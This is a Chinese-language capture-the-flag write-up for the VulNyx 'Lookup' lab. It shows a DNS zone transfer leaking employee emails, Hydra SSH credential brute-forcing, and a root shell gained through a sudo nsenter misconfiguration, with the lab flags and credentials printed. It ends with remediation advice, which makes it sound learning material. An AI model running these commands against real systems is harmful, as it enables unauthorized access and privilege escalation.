VulNyx Lookup 通关记录|DNS TXT 用户泄露、SSH 弱口令与 sudo nsenter 提权
靶机链接:Lookup
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| Lookup | 192.168.1.249 | Debian 10 靶机 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、80/tcp HTTP,53/udp DNS 可查询 | 锁定攻击面 |
| DNS 信息泄露 | PTR 指向 ns1.silvertech.nyx | 发现内部域名 |
| AXFR 区域传输 | TXT 记录泄露 ceo/finance/hr/it/support 邮箱 | 获取邮箱与用户名 |
| SSH 凭据验证 | m.bailey:b.clark | 获得低权限 shell |
| User Flag | /home/m.bailey/user.txt | 第一个 flag |
| sudo 提权 | (root) NOPASSWD: /usr/bin/nsenter | 可免密以 root 执行 nsenter |
| Root Shell | sudo nsenter --target 1 ... | 获得 root 权限 |
| Root Flag | /root/root.txt | 第二个 flag |
0x02 侦察与信息收集 (Reconnaissance)
1. TCP 全端口扫描
先做 TCP 全端口扫描,确认开放端口:
rustscan -a 192.168.1.249 --ulimit 5000 -- -sV -sC
扫描结果:
| 端口 | 服务 | 状态 |
|---|---|---|
| 22/tcp | SSH | open |
| 53/tcp | DOMAIN | open |
| 80/tcp | HTTP | open |
0x03 HTTP 枚举
1. 首页分析
访问 HTTP 首页:
curl -i http://192.168.1.249/
输出(关键片段):
HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
Content-Length: 1519
Content-Type: text/html
页面标题为 Under Construction,正文是静态施工页。
0x04 DNS 枚举与信息泄露
1. PTR 查询发现内部域
虽然 53/tcp 关闭,但 53/udp 可以正常查询。先做反向解析:
dig +notcp @192.168.1.249 -x 192.168.1.249 +noall +answer
输出:
249.1.168.192.in-addr.arpa. 86400 IN PTR ns1.silvertech.nyx.
PTR 记录泄露了内部 DNS 域 silvertech.nyx,并指向 ns1.silvertech.nyx。
2. SOA 与 NS 记录确认
dig +notcp @192.168.1.249 silvertech.nyx SOA +noall +answer
dig +notcp @192.168.1.249 silvertech.nyx NS +noall +answer
输出(关键字段):
silvertech.nyx. 86400 IN SOA ns1.silvertech.nyx. admin.silvertech.nyx.
silvertech.nyx. 86400 IN NS ns1.silvertech.nyx.
DNS 管理邮箱样式为 admin.silvertech.nyx,说明这是目标靶机设计中的核心域名。
3. AXFR 区域传输(Zone Transfer)
尝试对 silvertech.nyx 执行完整的 DNS 区域传输:
dig @192.168.1.249 silvertech.nyx AXFR
输出:
; <<>> DiG 9.20.24-1+b1-Debian <<>> @192.168.1.249 silvertech.nyx AXFR
; (1 server found)
;; global options: +cmd
silvertech.nyx. 86400 IN SOA ns1.silvertech.nyx. admin.silvertech.nyx. 1 3600 1800 604800 86400
silvertech.nyx. 86400 IN NS ns1.silvertech.nyx.
ceo.silvertech.nyx. 86400 IN TXT "a.miller@silvertech.nyx"
finance.silvertech.nyx. 86400 IN TXT "b.clark@silvertech.nyx"
hr.silvertech.nyx. 86400 IN TXT "m.bailey@silvertech.nyx"
it.silvertech.nyx. 86400 IN TXT "p.logan@silvertech.nyx"
it.silvertech.nyx. 86400 IN TXT "j.carter@silvertech.nyx"
it.silvertech.nyx. 86400 IN TXT "r.turner@silvertech.nyx"
it.silvertech.nyx. 86400 IN TXT "s.hughes@silvertech.nyx"
ns1.silvertech.nyx. 86400 IN A 192.168.1.249
support.silvertech.nyx. 86400 IN TXT "p.hollen@silvertech.nyx"
www.silvertech.nyx. 86400 IN A 192.168.1.249
silvertech.nyx. 86400 IN SOA ns1.silvertech.nyx. admin.silvertech.nyx. 1 3600 1800 604800 86400
;; Query time: 0 msec
;; SERVER: 192.168.1.249#53(192.168.1.249) (TCP)
;; WHEN: Tue Jul 21 22:28:52 CST 2026
;; XFR size: 13 records (messages 1, bytes 515)
DNS 服务器未禁止区域传输(AXFR),一次请求即获取了域内全部 13 条记录,完整暴露了所有子域名及 TXT 记录中存储的员工邮箱。
关键发现:
- DNS TXT 记录直接泄露了 8 个内部邮箱。
- 邮箱本地部分可作为 SSH 用户名候选。
- 用户名与密码可能存在交叉复用,例如某用户密码使用另一个邮箱本地部分。
整理得到候选用户名:
a.miller
b.clark
m.bailey
j.carter
r.turner
s.hughes
p.logan
p.hollen
0x05 漏洞分析与初始访问 (Vulnerability Analysis & Initial Access)
1. SSH 小字典凭据验证
基于 DNS 泄露出的邮箱,构造一个很小的用户与密码字典。密码字典包含:
- 邮箱本地部分,例如
a.miller - 去掉点号后的形式,例如
amiller - 姓氏,例如
miller - 靶机名与域名关键词,例如
lookup、silvertech - 少量常见弱口令
使用 Hydra 对 SSH 做验证:
hydra -L fresh_users.txt -P fresh_passwords.txt -t 4 -f -I ssh://192.168.1.249
命中结果:
[22][ssh] host: 192.168.1.249 login: m.bailey password: b.clark
成功获得 SSH 凭据:
m.bailey:b.clark
分析: 这里不是传统大字典爆破,而是利用 DNS TXT 泄露的内部人员邮箱做低成本凭据验证。m.bailey 的密码复用了另一个泄露账号 b.clark,属于典型的弱口令/凭据复用设计。
2. SSH 初始访问
sshpass -p 'b.clark' ssh -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null m.bailey@192.168.1.249 'id; uname -a'
输出:
uid=1000(m.bailey) gid=1000(m.bailey) groups=1000(m.bailey)
Linux lookup 4.19.0-24-amd64 #1 SMP Debian 4.19.282-1 (2023-04-29) x86_64 GNU/Linux
已成功获得 m.bailey 低权限 shell。
0x06 本地信息收集与 User Flag
1. 系统信息确认
cat /etc/os-release
cat /etc/passwd | grep -E '(/bin/bash|/bin/sh)'
输出:
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
root:x:0:0:root:/root:/bin/bash
m.bailey:x:1000:1000::/home/m.bailey:/bin/bash
目标主机名为 lookup,系统为 Debian 10 (buster),可登录用户只有 root 和 m.bailey。
2. User Flag
ls -la /home/m.bailey
cat /home/m.bailey/user.txt
输出:
-r-------- 1 m.bailey m.bailey 33 Jul 18 18:25 user.txt
523b7bc4fec097ffa533f66a1f830936
得到 User Flag:
523b7bc4fec097ffa533f66a1f830936
0x07 权限提升 (Privilege Escalation)
1. sudo 权限枚举
登录后优先检查 sudo 权限:
sudo -l
输出:
Matching Defaults entries for m.bailey on lookup:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User m.bailey may run the following commands on lookup:
(root) NOPASSWD: /usr/bin/nsenter
关键发现: m.bailey 可以免密以 root 身份执行 /usr/bin/nsenter。
nsenter 用于进入其他进程的 Linux namespace。若允许普通用户以 root 身份对 PID 1 执行 nsenter,通常可以直接进入目标 namespace 并启动 root shell。
参考 gtfobins
2. 使用 nsenter 获取 root shell
执行:
sudo /usr/bin/nsenter /bin/sh
为了非交互式验证,可以直接执行命令:
sudo /usr/bin/nsenter /bin/sh -c 'hostname; id; cat /root/root.txt'
输出:
lookup
uid=0(root) gid=0(root) groups=0(root)
d38cf53dd5e7f99c695bd4b0fdbe3985
成功获得 root 权限。
0x08 最终成果 (Final Flags)
User Flag
- 路径:
/home/m.bailey/user.txt - 内容:
523b7bc4fec097ffa533f66a1f830936
Root Flag
- 路径:
/root/root.txt - 内容:
d38cf53dd5e7f99c695bd4b0fdbe3985
0x09 总结
Lookup 的攻击面看起来很窄:TCP 只开放 SSH 和 HTTP,HTTP 又只是静态施工页。真正的突破点在 UDP DNS:
- PTR 记录泄露内部域
silvertech.nyx - 多个业务子域的 TXT 记录泄露内部邮箱
- 邮箱本地部分可转化为 SSH 用户与密码候选
m.bailey:b.clark命中 SSH 登录sudo -l发现NOPASSWD: /usr/bin/nsenternsentersudo 直接获得 root
修复建议
| 风险点 | 建议 |
|---|---|
| DNS TXT 泄露内部邮箱 | 不在公开或低权限可查询 DNS 记录中存放人员邮箱、账号、组织结构等敏感信息 |
| DNS 区域信息暴露 | 限制递归查询与区域枚举,按来源 IP 控制 DNS 查询范围 |
| SSH 弱口令/凭据复用 | 启用强密码策略,禁止账号间密码复用,优先使用 SSH Key 与 MFA |
| 缺少 SSH 登录防护 | 部署 fail2ban、限制登录速率,并监控异常登录失败 |
| sudo nsenter 配置不当 | 不应允许普通用户免密执行 nsenter;如确需授权,应限定参数并进行命令封装 |